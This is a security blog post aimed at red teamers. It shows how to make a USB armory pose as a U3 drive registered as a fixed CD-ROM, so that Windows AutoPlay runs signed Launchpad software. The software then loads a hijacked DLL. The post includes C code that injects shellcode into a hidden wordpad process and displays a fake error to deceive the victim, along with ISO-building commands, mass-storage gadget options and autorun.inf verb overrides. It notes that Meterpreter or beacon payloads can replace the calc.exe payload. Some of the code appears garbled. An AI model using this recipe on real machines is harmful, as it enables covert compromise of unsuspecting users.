Yorick Koster, February 2017

AutoRun is dead, long live AutoRun


AutoRun is a feature of Windows that was introduced in Windows 95. Back then when a (software) CD-ROM was inserted in the CD-ROM drive, Windows would parse the autorun.inf file on the CD. In case it contains an open or shellexecute (Windows 2000/ME and later) entry, Windows would automatically launch the program configured in this entry. Back then the threat landscape was a lot different from what it is today. It probably made sense to design it like this as it made it easy for non-technical people to install/run software from a CD-ROM.

Of course it is not hard to see the security risks associated with automatically running software from removable media. Due to this, Microsoft has added restrictions to when software on removable media can or will run. First of all the AutoPlay was introduced in Windows XP. With AutoPlay a user is presented with suggested actions when removable media is inserted. Windows XP still supports running software automatically when a CD-ROM is inserted. In case of USB thumb drives containing an autorun.inf file, the user is always presented the AutoPlay dialog. As of Windows Vista, the AutoRun feature is disabled by default. On Vista and later, the user will always see the AutoPlay dialog for CD-ROMs (under default configuration).

While running software automatically is no longer possible on recent versions of Windows there are still possibilities to trick a user into running malicious software from a USB thumb drive - handy if you're Red Teaming for example. In this blog I'll explain how this can be done using an USB armory. Note that this technique can also be done using other similar devices, but the armory's form factor makes it especially suitable for this purpose.

Figure 1: USB armory from Inverse Path

Abusing the AutoPlay

On recent versions of Windows the AutoPlay dialog still allows running software from removable media. If the autorun.inf file is properly configured the first option in AutoPlay's suggested action list is to run the configured executable. The icon and text (label/action) are fully configurable by the attacker. It is for example possible to set the icon to a Folder icon and the text to Open folder to view files. Doing so may cause anti-virus to flag the file as potentially malicious as this is a known technique used by malware writers. Changing the text slightly (eg, Open drive to view files) is enough to bypass this detection.

The option to run software is no longer present for USB thumb drives. However this option is still available if the autorun.inf file is located on a CD-ROM and the CD-ROM drive is registered as non-removable (DRIVE_FIXED). Fortunately it's easy to create such a drive using the Linux Mass Storage Gadget (g_mass_storage). The mass storage device can be configured as CD-ROM drive by setting the cdrom parameter to true. In addition, setting the parameter removable to false will cause the device to appear as non-removable in Windows.

Besides running software via the AutoPlay dialog, the application will also run when the user double clicks on the CD-ROM drive in Windows Explorer. When verbs are configured, applications can also be launched from the context menu that is shown when the user right clicks on the CD-ROM drive.

U3 armory

The USB armory is a thumb drive sized computer created by Inverse Path. Put the armory in an inconspicuous casing and it can double as a regular USB thumb drive. Dropping it somewhere strategically may entice someone to stick the drive in his/her computer. Alternatives to the USB armory exist, but its form factor makes it a perfect candidate for this attack. For this blog it is assumed that the reader is already familiar with the armory and has an SD card prepared. If not, please consult the USB armory documentation.

The USB armory will be disguised as an U3 thumb drive. The U3 devices are now end of life, they were used to run so-called portable applications from the drive. U3 drives contain an application named U3 Launchpad that when started looks like the Windows program manager. Launchpad is used to launch the portable applications that are installed on the drive. Launchpad utilizes the Windows AutoRun feature to launch automatically. It does so by presenting itself as a USB hub with a USB CD-ROM drive and USB mass storage device attached. Launchpad is located on the 'CD-ROM drive' to allow it to be started via AutoRun.

Disguising the armory as a U3 device may convince people familiar with these devices into thinking the device is harmless. People that are unknown with U3 devices might Google them and hopefully come to the same conclusion. We'll be using the original Launchpad software. Because of this, AutoPlay will display U3 LLC as the publisher, because the executable is signed with Authenticode by the U3 company.

Figure 2: U3 LLC publisher shown in AutoPlay

Naturally, the LaunchU3.exe executable loads DLLs from a relative path, which allows them to be hijacked in order to run arbitrary code. This way it is not necessary to backdoor the executable itself, leaving the digital signature intact. Even if no DLLs are loaded from a relative path, it is possible to force this using Dynamic-Link Library Redirection. This is trivial to do by creating an empty file or folder named LaunchU3.exe.local in the same folder as the executable. If this file/folder exists, Windows will first try to locate DLLs on the drive (with the exception of Known DLLs). We'll utilize Dynamic-Link Library Redirection to load a DLL named dwmapi.dll from the armory. This DLL does the following:

- Spawn a new process and start a remote thread with our shell code.
- Show a message box to the user stating that the U3 is end of life.

Showing the end of life error message will hopefully aid into having the victim believe that he/she plugged in a harmless U3 drive.

Preparing the ISO image

In order to act as a CD-ROM drive, the Mass Storage Gadget needs to be given an ISO image. We'll use the U3's ISO image as the basis for ours. The U3 software can still be found on the Kingston website. The U3update.exe file from Kingston contains another executable with the same name. Extract this executable from U3update.exe (for example using 7zip). In this second executable locate the file LaunchPad.iso and extract it. Finally, extract all the files from the ISO to a local folder.

Figure 3: Extracting the U3 Launchpad ISO from the installer

In the new folder, containing the files extracted from the ISO, create an empty file named LaunchU3.exe.local to enable DLL Redirection. Now the dwmapi.dll file can be created. The code used for this blog is listed below. Compile the code with your favorite compiler and copy the resulting x86 DLL in the same folder as the Launchpad executable.

#include <windows.h>
// msfvenom -p windows/exec -a x86 --platform windows -f c cmd=calc.exe
int buf_len = 193;
unsigned char buf[] =
void spawn()
   LPVOID ptr;
   HANDLE hProcess;
   TCHAR szWordpadPath[MAX_PATH];
   if (ExpandEnvironmentStrings(TEXT("%ProgramFiles%\\Windows NT\\Accessories\\wordpad.exe"), szWordpadPath, MAX_PATH) > 0)
      ZeroMemory(&si, sizeof(si));
      si.cb = sizeof(si);
      si.dwFlags = STARTF_USESHOWWINDOW;
      si.wShowWindow = SW_HIDE;
      ZeroMemory(&pi, sizeof(pi));
      if (CreateProcess(NULL, szWordpadPath, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
         hProcess = pi.hProcess;
         if ((ptr = VirtualAllocEx(hProcess, NULL, buf_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) != NULL)
            WriteProcessMemory(hProcess, ptr, buf, buf_len, NULL);
            if (CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)ptr, NULL, 0, NULL) != NULL)
   switch (nReason)
      MessageBox(NULL, TEXT("We're sorry, U3 Launchpad is End Of Life.\r\n\r\nFor more information see"), TEXT("U3 Launchpad End Of Life"), MB_ICONERROR);
   return TRUE;

The shell code is a simple payload created using Metasploit's msfvenom that pops calc.exe. It can be replaced with any payload, for example a Metasploit Meterpreter or Cobalt Strike's beacon payload. Now we're ready to create the ISO image, we'll use genisoimage for this.

genisoimage -v -J \
   -V "Cruzer Micro U3" \
   -publisher "Sandisk" \
   -hide '*' \
   -hidden autorun.inf \
   -hidden '*.dll' \
   -hidden '*.local' \
   -o /path/to/iso/image \

All that is left is to configure the armory to act as a CD-ROM drive. To do this we need to modify the /etc/modules and /etc/modprobe.d/usbarmory.conf files on the armory's SD card, and copy the ISO file to it. When this has been done, connect the U3 armory to a Windows machine and test if it works.


options g_mass_storage file=/path/to/iso/image idVendor=0x0781 idProduct=5151 iManufacturer=SanDisk iProduct="Cruzer Micro U3" removable=0 cdrom=1

Figure 4: U3 armory in action

Adding verbs

The code on the U3 armory will run when the victim:
- starts LaunchU3.exe from AutoPlay;
- double clicks on the CD-ROM drive in Windows Explorer;
- manually starts LaunchU3.exe by browsing the CD-ROM drive and double clicking it.

Another method to launch the code is by adding verbs to the right click context menu. In some instances it is even possible to override the action of existing items in the context menu, like Open in new window. To do so we need to modify the autorun.inf file and add the verbs. We can use Resource Strings to show localized versions of the menu items in the context menu. For example the Resource String @shell32.dll,-8517 will be translated to Open in new window on English versions of Windows. Below are a couple of examples of verbs that can be added/overridden in the right click context menu.

shell\open\command=LaunchU3.exe -a
shell\opennewwindow\command=LaunchU3.exe -a
shell\pintohome\command=LaunchU3.exe -a

Save autorun.inf, generate a new ISO file, and try it out!

Social engineering with AutoRun from Securify BV on Vimeo.

Putting it together

To ease the process of creating an U3 armory, we've prepared a Github repository. Just log into the USB armory (with NAT configured), clone the project, and run the script.

git clone
cd u3-armory

Note, make sure that you've installed git and genisoimage on the USB armory.

sudo apt-get install git genisoimage

Latest News & Research

Work with us →